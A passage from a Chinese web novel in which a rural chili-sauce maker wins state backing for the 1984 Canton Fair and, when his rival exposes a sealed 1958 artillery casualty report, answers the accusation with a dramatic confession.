“根据我们的分析,土壤中的有机磷毒素残留,正在以一种远超我们所有理论模型的速度,被这种紫花苜蓿的根系,定向吸收。而且,” 他指着报告上另一条曲线,“这种植物,似乎在吸收毒素的同时,还在向土壤中,分泌一种我们从未见过的生物碱。这种生物碱,正在中和土壤的酸碱度,并且……并且在以一种我们无法理解的方式,重新激活土壤中那些原本已经被毒素杀死的有益菌群。” 他顿了顿,看着孙庆华,像一个小学生,在请教自己的老师。 “教授,这……这不科学。” 孙庆华笑了。 他从自己的旱烟袋里,捻出一锅烟丝,点上,美美地吸了一口。 “迈耶先生,” 他吐出一个巨大的烟圈,那双浑浊的老眼里,闪烁着东方哲学独有的、智慧的光芒,“科学,有时候,并不仅仅是试管里的数据和显微镜下的细胞。” “科学,有时候,也是这片土地,在五千年的时间里,为了活下去,而自己,演化出的……生存之道。” “你们的科学,很伟大。它能让人类,登上月球。而我们的科学,” 他指了指脚下那片正在顽强新生的土地,“能让一粒种子,在最绝望的绝境里,重新开出花来。” 汉斯·迈耶,久久地,沉默了。 他看着眼前这位瘦削的中国老人,看着他身后那一张张充满了希望的、质朴的脸。 他知道,他这次中国之行,所要撰写的报告,将不再是一份关于“产品质量检测”的商业文件。 它将会是一份,足以在整个欧洲生态农业界,都引起一场巨大地震的、关于“东方生存哲学”的观察报告。 而报告的结尾,他已经想好了。 【在这片古老的土地上,我们遇到了一种,比我们的科学,更伟大的力量。我们称之为,奇迹。】 …… 奇迹,不止于此。 七天后,当紫花苜蓿,如同紫色的、温柔的火焰,开遍了沙河镇所有被修复的土地时。 一场前所未有的、最高规格的现场会议,就在这片紫色的花海之畔,召开了。 没有红地毯,没有主席台。 只有几张从村委会搬来的、最简陋的长条桌,和几十个铺在地上的草垫子。 可到场的,却是足以让整个冀北省都为之震动的、真正的“大人物”。 农业部作物司的司长,商业部市场流通司的副司长,中国农科院的副院长,以及《人民日报》、《光明日报》、中央人民广播电台的首席记者…… 这些平日里只能在报纸和电视上见到的人物,此刻,都像最普通的听众,坐在草垫子上,神情专注地,听着一个人的发言。 孙庆华。 这位国宝级的科学家,今天,没有穿他那件沾满泥土的白大褂。 他换上了一身半旧的、洗得发白的蓝色中山装,胸前,郑重地,别着一枚国徽。 他站在那片紫色的花海前,身后,是那面写着【沙河·红一号成果鉴定暨产业化发展研讨会】的、红底白字的简陋横幅。 他的声音不大,却像一把手术刀,精准地,剖析着【沙河·红一号】的每一个细节。 “……经过我们国家重点实验室,整整二十一天的不间断分析。我们确定,【沙河·红一号】不仅是一个全新的古老独有种。它所蕴含的辣椒素、维生素C、以及多种微量元素的含量,均超过了目前国内已知所有辣椒品种的平均值百分之三十以上!” “更重要的是!” 他拿起一个玻璃瓶,里面,是用乙醇萃取出的、一滴殷红如血的辣椒精油,“我们从它的种子里,发现了一种全新的、结构极其稳定的辛辣醇类化合物。我们暂定,称之为‘沙河素’。这种物质,不仅赋予了【沙河·红一号】独特的、层次丰富的风味,经过初步的药理实验,我们还发现,它对人体,具有极强的抗氧化、抗疲劳,甚至……抑制肿瘤细胞活性的潜在功效!” “轰!” 会场,炸了。 所有的人,无论是官员,还是记者,都用一种看天外来物般的、不可思议的目光,看着孙庆华手里那瓶小小的、红色的液体。 他们知道,这已经不是一粒种子,一个农产品了。 这是一个,足以改变中国农业,乃至健康产业格局的…… 战略级资源! “但是!” 孙庆华的话锋,再次一转。 他没有继续说这粒种子的好,而是将目光投向了那个从始至终,都只是默默地,站在会场最边缘的江建国。 “今天,我站在这里,要向各位领导、各位同志,推荐的,不仅仅是【沙河·红一号】这粒种子。” “我更要推荐的,是发现它,保护它,并且,为它创造出一种全新的、可持续发展的商业模式的,这位同志。” 他伸出手,指向江建国。 “冀北建国食品厂厂长,沙河镇辣椒产销合作社名誉社长,江建国同志!” 所有的闪光灯,所有的摄像机镜头,在一瞬间,全部对准了那个穿着一身朴素蓝布工装、脸上还带着几分错愕的老农。 “江建国同志,他用他的行动,为我们所有的科研工作者都上了一课!” 孙庆华的声音,充满了发自肺腑的、毫不掩饰的激赏,“他告诉我们,科学,如果不能走出实验室,不能为最广大的农民服务,不能变成老百姓饭桌上实实在在的好处,那它,就是一堆毫无用处的废纸!” “他创造的‘企业+合作社+农户’的模式,一头,连接着市场,另一头,连接着我们最贫困的土地。他把利润,变成了扶贫的资金,把商业变成了一场有温度的社会实践!” “我孙庆华,今天,就以我个人的名义,和我背后这个国家重点实验室的名义,为江建国同志,和他的【淑芬酱】,做一个背书!” 他看着在场的所有领导,声音,掷地有声,如同惊雷! “【淑芬酱】,它所使用的,是我们中国,独一无二的、最好的辣椒!” “它所代表的,是我们中国农业,未来发展的,最健康、最正确的方向!” “它,有资格,更有责任,代表我们中国,走出国门!去告诉全世界,我们中国的味道,到底是什么样!” 国士无双。 这一番话,已经不是简单的“推荐”,而是以一个国家顶级科学家的身份,为一家乡镇企业,所做的,最高级别的、不容置疑的,信用担保。 农业部的司长和商业部的副司长,在听完这番话后,对视了一眼。 他们都从对方的眼睛里,看到了一种前所未有的、混杂着震惊与狂喜的光芒。 会议结束时,商业部那位姓李的副司长,亲自走到了江建国的面前,紧紧地,握住了他那双布满老茧的手。 “江同志,” 他的脸上,是和煦的、如同春风般的笑容,再也没有了半分官架子,“我代表商业部,正式向你,和你的‘建国食品厂’,发出邀请。” 他顿了顿,一字一顿地,说出了那句,足以改变江建国,乃至整个中国食品行业未来走向的话。 “你的【淑芬酱】,想不想,作为我们国家农业产业化的‘样板产品’,代表中国,去参加明年的,春季广州出口商品交易会?” 广交会。 这个时代,中国通向世界的唯一窗口。 江建国看着眼前这位向他伸出橄榄枝的、代表着“国家意志”的男人,他知道,他与林晚秋的战争,已经结束了国内的巷战。 即将拉开的,是世界级的,阵地战。 他咧开嘴,露出了一个最质朴、也最自信的笑容。 “想。” 第五十六章 广交会之约,铁幕下的新战场 汉斯·迈耶是在一个风和日丽的午后,离开沙河镇的。 他没有乘坐那辆象征着文明与隔离的黑色奔驰。 他只是,穿着一身最普通的蓝色工装,和他的团队,安静地,走完了整个修复后的土地。 他亲手,触摸了那些新生的、带着勃勃生机的紫花苜蓿,也亲眼,见证了第一批来自内蒙古的羊群,是如何被小心翼翼地,引导进这片“生态修复实验区”,进行着最古老、也最有效的“生物除草”。 临走前,他将一份用德语、英语、中文三种语言打印的、非官方的个人观察报告,郑重地,交到了孙庆华教授的手中。 报告的结尾,没有冰冷的数据,也没有商业的建议。 只有一句充满了哲学思辨与个人情感的结语:【我们来到这里,是想用我们的标准,去丈量一片土地。而最终,我们却被这片土地,和这片土地上的人们,重新定义了‘科学’的边界。莱茵无法为‘沙河·红一号’的过去出具一份合格的商业认证。但作为我个人,汉斯·迈耶,我愿意为它的未来,作一次信用的背书它的坚韧、它的重生,以及它所代表的那种我们无法理解的东方哲学,本身,就是一种远超任何商业标准的、最顶级的‘质量’。】 孙庆华收下了这份特殊的“投名状”。 他知道,江建国,在不经意间,又为自己,赢得了一张来自大洋彼岸的、意想不到的底牌。 送走了所有的“神仙”,江建国也踏上了归程。 他没有带走半分荣誉,只在那个黑色的人造革提包里,多了一件东西那面写着【沙河·红一号成果鉴定暨产业化发展研讨会】的、简陋却又重如泰山的横幅。 他要把它,挂在自己工厂的墙上。 他要让每一个工人,每一个走进他工厂的人都看到,他们生产的到底是什么。 当江建国那辆从县里借来的破吉普,重新出现在“建国食品厂”门口时。 他迎接的,是英雄般的、山呼海啸的凯旋。 工人们将他高高地举起,抛向空中。 苏秀云和那几十个妇人,看着这个仿佛脱胎换骨、身上带着一种令人心折的、沉稳气度的男人,激动得泪流满面。 庆功的酒宴,摆满了整个院子。 江建国端着一碗最烈的烧刀子,一桌一桌地敬,一个人一个人地喝。 他喝下的,是喜悦,吐出的,却是比酒更烈、更灼人的,新的火焰。 酒过三巡,菜过五味。 所有人都以为,接下来,是享受胜利果实的美好时光。 江建国却站到了院子中央,那张临时搭起的、最高的桌子上。 他环视着一张张因为酒精和喜悦而涨红的脸,声音,压过了所有的喧嚣。 “兄弟们,姐妹们!” “庆功的酒,今天,我们喝完它!” “庆功的肉,今天,我们吃光它!” “从明天起,” 他话锋一转,那股熟悉的、令人不自觉屏息的威压,再次笼罩全场,“把我们所有的骄傲,都给老子收起来!” “因为,我们要去一个比省城,比京城,都更大、也更凶险的战场!” 他从怀里,掏出了那份由商业部副司长亲笔签发的、带着红头印章的邀请函,高高举起,如同举起一面崭新的战旗! “国家,给了我们一张去‘广州出口商品交易会’的门票!” “国家,要让我们,端着我们这碗用戈壁滩的土、用咱们自己的手做出来的辣酱,去跟那些黄头发、蓝眼睛的洋人,掰一掰手腕!” “我问你们!” 他的声音,如同惊雷,“你们,怕不怕?” 短暂的死寂之后,是孟山第一个,摔碎了手里的酒碗,红着眼,用尽全身的力气,吼了出来! “不怕!” “不怕!” “不怕!!” 几百个声音,汇成一股冲天的洪流。 那股刚刚从戈壁滩带回来的、战天斗地的豪情,与即将奔赴全新战场的兴奋,混合在一起,酿成了这个冬夜里,最烈的酒。 …… 战争,以一种全新的、快到令人窒息的节奏,开始了。 江建国,再次变成了那个冷酷、精准,将时间利用到极致的战争机器。 他的第一道命令,就是“扩军”。 工厂的规模,在一个星期内,扩大了三倍。 他用那笔刚刚回笼的、还没捂热的货款,和赵兴邦帮忙协调来的低息贷款,以一种近乎于豪赌的方式,从省城,订购了两条在当时看来最先进的、半自动化的罐装生产线。 他的第二道命令,是“换装”。 苏秀云,这个昔日懦弱的、只知埋头干活的小媳妇,被他直接扔到了一个最前沿、也最陌生的阵地上产品包装设计总监。 江建国从市里,搜罗来了所有能找到的、印着外国商品的画报和杂志。 有可口可乐,有万宝路,有雀巢咖啡。 他将这些东西,全都堆在了苏秀云的面前。 “我不要你抄。” 他指着那些花花绿绿的瓶子和罐子,对满脸惶恐的苏秀云,下达了最严苛的指令,“我要你,看着它们,然后,忘了它们。” “我们的瓶子,要让洋人一看,就知道,这是中国的。但又要让他们拿在手里,觉得,不比他们那些玩意儿差。” “土,但不能俗。洋,但不能假。” 这道充满了东方辩证法智慧的难题,几乎将苏秀云逼疯。 她把自己关在办公室里,没日没夜地画,又没日没夜地撕。 她的头发,大把大把地掉。 可她的眼神,却在那一次次的自我否定与重建中,变得越来越亮,越来越有神。 江建国的第三道命令,是“练兵”。 他用最简单粗暴的方式,在工厂里,办起了“广交会战前冲刺夜校”。 老师,是他自己。 学生,是孟山、阿虎、疯狗,以及所有他认为能带去前线的“核心骨干”。 教材,只有一句话,被他用粉笔,歪歪扭扭地,写在小黑板上。 【This is Shu Fen Sauce.The best chili sauce in the world!】 (这是淑芬酱。世界上最好的辣酱!)他用最蹩脚的、混着冀北口音的“工地英语”,一遍又一遍地,带着这些连汉字都认不全的汉子们,扯着嗓子,嘶吼着。 “Zis……is……淑芬骚死!” “惹……掰死特.……七里……骚死……in……惹.……沃尔德!” 那画面,滑稽,荒诞,充满了这个时代特有的、草莽英雄般的浪漫与悲壮。 …… 就在“建国厂”这台战争机器,以一种近乎于燃烧的方式,疯狂运转时。 千里之外,香港,中环。 一座更高、更冷,可以俯瞰整个维多利亚港的写字楼里。 林晚秋,也开始了她的另一种战争。 她遣散了所有来自霍氏集团的、昂贵的商业顾问。 她甚至,搬出了那间象征着奢华与胜利的总统套房。 她现在的办公室,简单,空旷,甚至有些冷清。 墙上,只有一张巨大的、精确到等高线的中国地图。 地图上,冀北、甘肃,那两个曾经被她视为囊中之物的红点,此刻,却像两块烧红的烙铁,深深地,烙在地图之上,也烙在她的心里。 一个穿着灰色中山装、面容普通、气质却如同深渊般沉静的中年男人,敲门走了进来。 他将一个薄薄的牛皮纸档案袋,轻轻地,放在了林晚秋的桌上。 “林小姐,” 他开口了,声音平稳,没有一丝波澜,像一部设定好程序的机器,“您要的东西,都在这里了。” 林晚秋没有立刻打开。 她只是,看着那个男人。 “陈伯,” 她轻声问道,“您跟了我外公三十年。您觉得,他这次,是真的生我气了?” 被称作“陈伯”的男人,缓缓地,摇了摇头。 “老爷子,不是生气。” 他的声音,依旧平静,“他是……失望。” “他失望的,不是您输了。而是您,从始至终,都没有真正看懂,您那个养父到底是一个什么样的人。” “您以为,您是在跟一个农民,一个乡镇企业家斗。您错了。” 陈伯走到那张巨大的地图前,伸出手,轻轻地,点在了北京的位置。 “您用资本,他用人心。您用权力,他用大义。您用您外公的‘势’,想去压他。可他,却转身,借来了整个国家的‘势’,来反压您。” “林小姐,您要斗的,从来就不是一个人。您是在跟这片土地上,那股最古老、也最强大的‘势’,在作对。” 林晚秋的身体,微微一颤。 “那我……该怎么赢?” 她第一次,用一种近乎于求助的语气,问道。 陈伯的脸上,终于,露出了一丝复杂的神情。 他看着这个自己从小看到大的、聪明得近乎于妖孽的女孩,轻轻地,叹了口气。 “势,是赢不了的。” 他缓缓说道,“但,可以毁掉,那个借‘势’的人。” 他指了指桌上那个牛皮纸档案袋。 “老爷子,心软了。他可以不在乎您的输赢,但他不能不在乎沈家的名声,和他身上那件,穿了一辈子的军装。” “所以,他让我,把这个交给你。” “这是您,最后的机会。也是,最后一张底牌。” 说完,陈伯微微躬身,转身,悄无声息地,退了出去。 林晚秋静静地,坐了许久。 然后,她伸出那双保养得如同艺术品般的手,缓缓地,打开了那个,决定着她与江建国最终命运的潘多拉的魔盒。 档案袋里,没有商业机密,没有黑材料。 只有一张泛黄的、一九五八年的,解放军某部炮兵团的集体照。 和一份,同样是五八年的、关于一场边境炮战的、已经封存了三十年的,内部伤亡调查报告。 报告上,一个名字,被红笔,重重地,圈了出来。 江建国。 而他的名字后面,跟着另一行,触目惊心的备注。 【职务:炮兵观察员。】 【事件定性:战场通讯失误,致友邻炮兵连,坐标暴露,遭遇敌方火力覆盖,全连……阵亡。】 【处理结果:因查无实证,且本人在战斗中身负重伤,光荣退伍,档案……封存。】 林晚秋看着那份报告,看着那句刺眼的“全连阵亡”,她那张冰冷的、美丽的脸上,终于,缓缓地,绽放出了一抹最妖异、也最残忍的,笑容。 “江建国啊,江建国……” “你用‘扶贫’和‘大义’,为自己,披上了一身金光闪闪的铠甲。” “那我就,亲手把你这身铠甲扒下来。让全世界的人都看看,你这所谓的‘民族英雄’,那铠甲之下,到底,藏着多少兄弟的……冤魂。” 她知道,广交会,那个即将让江建国登上巅峰的、最华丽的舞台,也将会是他身败名裂的最佳刑场。 第五十七章 广交会风云,英雄的审判场 一九八四年的春季广交会,是一头由千百种声音与欲望共同喂养的、苏醒的巨兽。 它呼吸着南方潮湿而又温热的空气,呼出的,是这个国家压抑了三十年后,第一次,理直气壮的、名为“野心”的气息。 空气里,混杂着茶叶的清香、丝绸的滑腻、陶瓷的古朴,以及,更多的是那种刚刚印刷出来的塑料包装和铜版纸宣传册的、崭新的、充满了化学味道的工业气息。 在这片喧嚣的、充满了功利主义气味的海里,江建国的展位,是一座不可思议的、孤独的岛屿。 它不卖野心。 它只卖,家常。 那股由【沙河·红一号】辣椒、发酵豆豉、慢火熬出的蒜蓉与姜末所混合成的、复杂而又醇厚的香气,像一只无形的手,霸道地,从周围那些千篇一律的工业气息中,划出了属于自己的、绝对的领地。 它原始,浓烈,带着阳光、土地和铁锅的温度。 它吸引来的,不仅仅是寻找商机的买家,更多的是那些被这股熟悉的、属于“故乡”的味道所牵引的、好奇的、甚至是饥饿的灵魂。 展位的正中央,站着江建国。 他没有穿西装,只是穿着一身最朴素的、却浆洗得笔挺的蓝色工装,那是他作为“厂长”最好的行头。 他的脚边,放着一个同样朴素的、写着“建国食品厂”的木牌。 他的身后,是那面被他从甘肃一路带回来的、写着【沙河·红一号成果鉴定会】的横幅,和赵兴邦那篇足以载入县史的特稿。 他没有叫卖,没有推销。 他只是,如同一座沉默的山,静静地,立在那口温在文火上的、飘着香气的大铁锅旁。 他手里,端着一碗最简单的白米饭,用一把小小的木勺,为每一个走近的、好奇的客人,送上一勺,那殷红如血,亮如宝石的【淑芬酱】。 孟山、阿虎、疯狗,这几个曾经街头的霸王,此刻都穿着统一的工装,像最忠诚的卫兵,一言不发地,护卫在江建国的身后。 他们那饱经风霜的脸上,带着一种连他们自己都未曾察觉的、与有荣焉的神圣感。 他们用那蹩脚的、混着冀北口音的英语,一遍又一遍地,向那些金发碧眼的外国人,重复着那句他们练习了上千次的、神圣的咒语:“Zis…is…淑芬骚死!惹…掰死特…七里…骚死…in…惹…沃尔德!” 那画面,滑稽,却又悲壮。 而效果,却出奇地好。 每一个尝过那口辣酱的人,无论他来自哪个国家,说着何种语言,脸上的表情,都出奇地一致。 先是礼貌性的点头,然后,是味蕾被瞬间引爆的、巨大的震惊,最后,是一种混杂着不可思议与由衷赞叹的、最真实的喜悦。 那味道,太霸道了,太丰富了,也太…… 诚实了。 它用一种最直接的方式,讲述着一个关于土地、关于苦难、关于一个民族在最深沉的记忆里,对“家”的全部理解。 孙庆华教授,作为特邀的“技术顾问”,正戴着老花镜,用他那带着浓重学术腔的英语,骄傲地,向一群来自荷兰的农业专家,解释着【沙河·红一号】那独一无二的基因序列。 赵兴邦则以《人民日报》特约评论员的身份,胸前挂着那台海鸥相机,像一个打了胜仗的将军,兴奋地,记录着每一个瞬间那个来自德国的、最挑剔的食品进口商,是如何在犹豫了三秒后,当场就签下了一份一万瓶的、庞大的试销订单。 那个来自马来西亚的、年过七旬的老华侨,又是如何在尝了一口辣酱后,抱着那碗白米饭,老泪纵横,泣不成声。 这是江建国和他的【淑芬酱】的巅峰时刻。 这不是一次简单的商品展销,这是一场迟来的、属于中国本土味道的加冕典礼。 然后,林晚秋,来了。 她像一条最优雅、也最致命的眼镜王蛇,无声地,滑过了整个展会那喧嚣而又混乱的丛林。 她没有带任何随从,她只是一个人。 她穿着一身剪裁完美到无可挑剔的、深红色的迪奥西装套裙,那颜色,像一捧刚刚凝固的、新鲜的血液,在这片由蓝、灰、黑构成的、充满了男性荷尔蒙的展会里,显得如此的突兀,也如此的,刺眼。 她没有走向江建国的展位。 她只是,像一个最高明的、也最残忍的观众,寻了一个最好的位置,在人群的外围,停了下来。 她的脸上,挂着一抹最温柔、最得体的微笑,那双美丽的眼睛里,却是一片冰冷的、如同看着死人般的宁静。 她在等。 等她亲手导演的、这场大戏的最高潮,拉开帷幕。 高潮,是在下午的记者提问环节,准时到来的。 一位来自《人民日报》的记者,刚刚用最激昂的语调,问完一个关于“民族品牌如何走向世界”的、充满了赞美之情的样板问题。 江建国也用他那贯有的、沉稳沙哑的声音,回答得滴水不漏。 现场,掌声雷动。 也就在这时,一个金发碧眼、身形高大、脸上带着几分日耳曼人特有的、严谨与刻板的白人记者,从人群中,走了出来。 他的胸前,挂着一张西德《明镜周刊》的记者证。 他的普通话,标准到令人恐惧,每一个字,都像是用手术刀,精准地,切割出来的。 “江建国先生,” 他的声音不大,却像一束高功率的激光,瞬间穿透了所有嘈杂的掌声,精准地,投射到江建国的身上,“您的故事,非常感人。但是,我想问一个,关于三十年前的,另一个故事。” 现场,瞬间,安静了下来。 所有人的目光,都聚焦在这个不速之客的身上。 那个德国记者面无表情,继续用他那不带一丝感情的语调说道:“根据我们得到的、一份解密的军方档案,编号73A号文件显示。一九五八年,金门炮战期间,我军某炮兵团第三连,因阵地坐标被提前泄露,遭遇敌方炮火饱和式覆盖,不幸……全连阵亡。” 一股冰冷的、令人窒息的寒流,瞬间,从每一个人的脚底板,直冲天灵盖! 孙庆华脸上的笑容,凝固了。 赵兴邦那准备按下快门的手,也僵在了半空。 那个德国记者,看着江建国那张瞬间变得毫无血色的脸,缓缓地,投下了他最后的、致命的炸弹。 “该份报告的附件中,有这样一段描述:‘此次坐标泄露事件,最大的嫌疑,指向了负责该区域前沿观察的、唯一的观察哨。’” “而那个观察哨里,当时,也只有一个人。” 他顿了顿,每一个字,都像一柄重锤,狠狠地,砸在所有人的心上。 “他的名字,就叫江建国。” “我的问题是,” 他的声音,如同来自地狱的、最终的宣判,“江先生,作为一个曾经因为您的‘失误’,而导致上百名战友,埋骨他乡的人。您今天,又有什么资格,站在这里,向全世界,推销一种,需要用‘诚信’和‘良心’来做背书的产品呢?” 死寂。 绝对的,能听到心脏碎裂声音的,死寂。 所有刚刚还充满了敬佩、感动、狂热的目光,在这一刻,全都变成了怀疑、震惊、以及被欺骗后的冰冷的审视。 江建国,依旧,站在那里。 他手里,还端着那碗,代表着他所有荣耀的,白米饭。 可他的脸,却不再是那个带领乡亲脱贫致富的民族英雄,不再是那个用智慧和汗水捍卫了土地尊严的草根战神。 那张脸在一瞬间褪去了所有的血色,变得如同他三十年前,从那片被炮火烧焦的阵地上,爬出来时一样,苍白,中空。 那张脸上,所有的线条,都垮了下去,不再是坚毅,而是充满了无法言说的、被岁月和冤魂所刻下的痛苦。 他的眼睛,也失去了所有的光。 那双曾经如同鹰隼般锐利的眼睛,此刻,空洞地,望着前方。 他看到的,不再是那些闪烁的、充满了探究意味的闪光灯,而是三十年前,那片同样被火光照亮的、金门的夜空。 他看到了,一张张年轻的、带着稚气的、在炮火中对他高声呼喊的脸。 他听到了,他们最后的那声,撕心裂肺的…… “建国!跑!!” 他端着碗的手,开始不受控制地,剧烈颤抖。 一粒饱满的、沾染着殷红酱汁的白米饭,从那颤抖的碗沿,滑落。 穿过这死寂的、充满了审判意味的空气,重重地,砸落在那片属于英雄的、光洁的展台之上。 发出一声,微弱到,几乎无法被听见的,破碎的声响。 那一粒米,落下的声音,轻得如同叹息。 可砸在江建国的心里,却响如奔雷。 时间,在这万分之一秒内,被拉伸成了一条无限长的、充满了铁锈与硝烟味道的隧道。 他不再是那个在广交会万众瞩目的“江厂长”,他变回了那个十八岁的、蜷缩在金门前沿观察哨里,浑身被冷汗浸透的炮兵观察员。 他看见了。 他看见了三连长“王大山”那张被炮火映得通红的、咧着嘴对他无声嘶吼的脸。 王大山是他的同乡,是那个把他从冀北农村,一路带到福建前线的、亲哥哥一样的人。 他记得,就在炮战开始前,王大山还塞给了他半个,他自己都舍不得吃的肉罐头。 他看见了,那个只有十六岁、谎报了年龄才参军的、外号叫“小四川”的卫生员,在冲向一个伤员时,是如何被一发炮弹,直接,撕成了漫天飞舞的、红色的碎片。 他看见了,整个三连,那一百二十八个,前一天还跟他一起,在阵地上唱着《我的祖国》、幻想着战争结束后回家娶媳的、活生生的兄弟,是如何在他报出的那串坐标引导下,被一片从天而降的、密不透风的火雨,瞬间,从这片土地上,抹得干干净净。 “建国!跑!!” 那是王大山,留给他的最后一句话。 那声音,穿透了三十年的光阴,像一根烧红的、淬了剧毒的钢针,狠狠地,扎进了他此刻的、早已千疮百孔的灵魂里。 痛苦,如同实质的海啸,瞬间将他淹没。 他手里的那只碗,那碗盛满了他今生所有荣耀与希望的白米饭,开始剧烈地颤抖,眼看就要倾覆。 也就在这时,另一股更加极致的、更加冰冷的记忆,如同一道来自九幽地府的闪电,狠狠地,劈开了这片由炮火与冤魂构成的、红色的幻境! 那是…… 雪。 是另一世,六十岁的他,蜷缩在燕京街头,那刺骨的风雪。 是那种被全世界抛弃,被亲生儿女榨干最后一滴血汗后,活活冻死的、最屈辱,也最不甘的绝望。 那份寒冷,那份恨意,比三十年前的炮火,更真实,也更刻骨! 江建国那双本已空洞的眼睛,骤然,重新凝聚起了焦点! 那只颤抖的手,稳住了。 那碗即将倾覆的白米饭,稳住了。 他缓缓地,缓缓地,抬起头。 他没有看那个如同胜利者般、等待着他崩溃的德国记者,也没有看周围那些充满了震惊与怀疑的目光。 他的目光,穿过了所有的人群,穿过了这喧嚣的、充满了功利与欲望的展会,落在了那个,站在人群尽头,穿着一身刺眼血红的、他前世最疼爱、今生最憎恨的,女人身上。 林晚秋。 他的嘴角,竟缓缓地,勾起了一抹谁也看不懂的、混杂着无尽悲凉与滔天杀意的,笑容。 “你问我,有什么资格?” 江建国开口了。 他的声音,沙哑,干涩,像两块被战火烧焦的木炭,在互相摩擦。 “这个问题,你,不配问。” 他没有理会那个德国记者脸上错愕的表情。 他只是,端着那碗饭,缓缓地,转过身,面向了北方。 面向了,北京的方向。 面向了,那片埋葬着他所有青春与兄弟的八宝山的方向。 他像一个最虔诚的信徒,将那碗白米饭,高高地,举过了头顶。 “三连长王大山,” 他的声音,不大,却清晰地,传遍了整个死寂的会场,“兄弟们!” “三十年了。” “我江建国,今天,就在这里,当着全世界的面,给你们,上柱香,敬碗饭。” “我替你们,尝尝,这胜利的滋味。” 说完,他当着所有人的面,用那把小小的木勺,舀起一勺沾满了辣酱的米饭,缓缓地,放进了自己的嘴里。 他咀嚼着。 咀嚼得很慢,很用力。 仿佛他嚼的不是米饭,而是三十年的血与火,三十年的冤与屈,三十年的、不能言说的、刻骨的煎熬。 两行滚烫的、浑浊的泪,从他那张饱经风霜的脸上,无声地,滑落。 滴落进那碗,象征着荣耀的,白米饭里。 “三十年前,金门,西线,三十七号高地。” 江建国,一边流着泪,一边咀嚼着,一边,用一种近乎于梦呓的、却又清晰无比的语调,开始讲述。 “我所在的,是前沿观察哨。我的任务,是为后方的炮群,提供最精准的坐标。而我的正后方,就是三连的阵地。我的连长,叫王大山。我的兄弟,有一百二十八个。” “炮战开始前一个小时,我接到了团部通讯站,转来的、师指挥部的绝密指令。” “指令,只有一句话。” “‘命令:观察员江建国,在接到总攻信号后,立刻向我方炮群,报出你部后方三连的阵地坐标。重复一遍,报出……三连的坐标。’” “轰!” 这一句话,比刚才那德国记者所有的指控,都更像一枚重磅炸弹,在所有人的脑海里,轰然炸响! 赵兴邦的相机,“啪嗒”,掉在了地上。 孙庆华那副老花镜,也从鼻梁上滑落了下来。 那个德国记者,更是满脸的不可思议! “这……这不可能!” 他失声叫道,“这与档案记录的,完全不符!” 江建国没有理他。 他只是,沉浸在自己的世界里,继续,讲述着。 “我当时,也以为,是命令传达错了。我疯了一样用步话机,向团部核实。可我得到的,是我的团长,用一种近乎于哭腔的声音,对我下达的、最后的死命令” “‘江建国!这是命令!执行!’” “那一刻,我明白了。” 江建国的脸上,露出了一个比哭更难看的笑容,“我们的对面,是敌人最精锐的、拥有最新美式装备的‘白虎团’。他们的炮,比我们打得远,比我们打得准。我们的主力部队,想要抢滩登陆,就必须,先敲掉他们这个乌龟壳。” “而三连,我那一百二十八个兄弟,就是……诱饵。” “用一个连的牺牲,换取敌人炮火位置的彻底暴露,为主力炮群,进行饱和式反覆盖,争取到最宝贵的三分钟。这,就是师指挥部,那张小小的作战地图上,最简单,也最残忍的,一道算术题。” “而我,江建国,” 他的声音,在颤抖,“我就是那个,负责按动计算器,负责亲手,将我所有的兄弟都送进地狱的刽子手。” “我报出了坐标。然后,我听着步话机里,王大山连长,在生命最后一刻,对我喊出的那句‘建国,跑’。我看着我那一百二十八个兄弟,在我眼前,被我们自己的炮火,指引去的敌方炮火,炸成灰烬。” “我没跑。” “我只是,在完成任务后,砸了电台,然后,端着刺刀,一个人,冲向了对面的阵地。” “我杀了三个敌人,然后,被一发炮弹的气浪,掀翻。等我醒来,就已经躺在了后方的野战医院里。” “我成了那场战斗中,三连唯一的幸存者。” “也成了,唯一的,嫌疑人。” “军法处,审了我三个月。他们想让我承认,我是因为操作失误,报错了坐标。这样,就可以将一场师级的、用一个连的战士的命做赌注的‘战略性牺牲’,定性为一场可以被原谅的、低级别的‘战场通讯事故’。” “这样,所有人,都不用担责任了。牺牲,也变得心安理得。” “我没同意。” “我既没有说出真相,也没有承认失误。我只是,选择了沉默。” “因为我知道,如果我说出真相,那牺牲的一百二十八个兄弟,就将永远背负着‘被友军故意牺牲’的污名。他们的家人,将永远活在耻辱里。而我们这支军队的荣誉,也将蒙上无法洗刷的污点。” “所以,我选择了,把所有的罪、所有的冤,都一个人,扛下来。” “我告诉军法处,我被炮弹震坏了脑子,什么都不记得了。最终,他们以‘查无实证,因伤退伍’,让我滚回了家。” “三十年了,” 江建国缓缓地,放下了那碗,早已被泪水浸透的白米饭,“这个故事,我埋在心里,烂在肚子里。我从没对任何人讲过。我以为,它会跟着我,一起,烂进棺材里。” “可我没想到,今天,会有人把它当成一把最锋利的刀子,从我背后捅了过来。” 他缓缓转身,那双通红的、如同泣血的眼睛,再次,死死地,锁定了人群尽头,那个穿着一身血红的、早已脸色惨白的林晚秋。 “你问我,有什么资格?” “我这三十年,午夜梦回,都是兄弟们的冤魂。我这三十年,吃的每一口饭,都像是用他们的血肉,拌出来的。这份罪,这份债,我江建国,认。” “但是!” 他的声音,骤然拔高,如同龙吟,如同虎啸,震慑全场! “我江建国的罪,自有我那一百二十八个兄弟的在天之灵来审!自有阎王爷来判!” “还轮不到你这种数典忘祖,里通外敌,用同胞的血,来染红自己顶子,用兄弟的冤魂,来铺平自己道路的……杂碎,来审判!” 话音落。 全场,死寂。 然后,不知是谁,第一个,开始鼓掌。 那掌声,稀稀拉拉,却又无比坚定。 紧接着,第二个,第三个…… 掌声,如同燎原的星火,瞬间,响彻了整个广交会的会场! 那些中国的商人,那些海外的华侨,甚至那些刚刚还带着怀疑目光的外国人,此刻,都自发地,站起身,用尽全身的力气,为眼前这个衣衫朴素、满脸泪痕,却又如同神魔般、顶天立地的中国男人,献上他们最崇高的敬意! 这不是一场商业的审判。 这是一场,关于人性、忠诚与牺牲的,英雄的史诗! 那个来自《明镜周刊》的德国记者,早已面如死灰。 他看着眼前这近乎失控的、充满了感染力的场面,他知道,自己和自己背后那个人输了。 输得,一败涂地。 而林晚秋,在那山呼海啸般的掌声中,在那一道道如同利剑般、射向她的鄙夷目光中,她那张美丽的、冰冷的脸,终于,第一次,出现了裂痕。 她踉跄着,后退了一步。 她不明白。 她明明,拿出了最致命的、足以将他打入万劫不复之地的武器。 为什么,这把刀最终却变成了为他加冕的…… 权杖? 为什么,这场她精心设计的、最完美的审判,最终,却变成了为他封神的…… 祭典? 